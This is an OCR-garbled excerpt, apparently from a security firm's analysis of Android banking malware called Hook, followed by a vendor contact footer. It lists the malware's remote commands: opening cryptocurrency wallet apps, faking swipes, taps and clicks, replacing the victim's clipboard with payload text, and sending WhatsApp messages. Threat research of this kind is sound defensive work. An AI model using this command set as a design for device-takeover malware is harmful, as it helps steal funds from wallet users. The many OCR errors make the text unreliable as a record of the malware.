—E’gmw mycelium Launches the Mycelium Walletapp
_Egaw-\fd, piuk Faunches the Blockchain Walletapp
_EBHW"P’ samourat Caunches the Samourai Walletapp

~Hlook sSwipeup Perform a swipe up gesture

~Hlook™ swipedown Performs a swipe down gesture
btook™ swipeleft Performs a swipe feft gesture
btook scroltup Performs a scroll up gesture

~Hlook onkeyevent

~Hlook™ tap Dispatches a tap gesture at the specified coordinates
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~hlook1 clickat Clicks ata specific Ut eferment

blookt—cuttext Reptaces the clipboard on the victim's device with the payload text
blook™ openapp Opens the specified app

“blook 1~ openwhatsapp — Sends a message through Whatsapp to the specified number

Hook 2 safepal
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Call us before you need us.

Our experts will help you.

Get in touch
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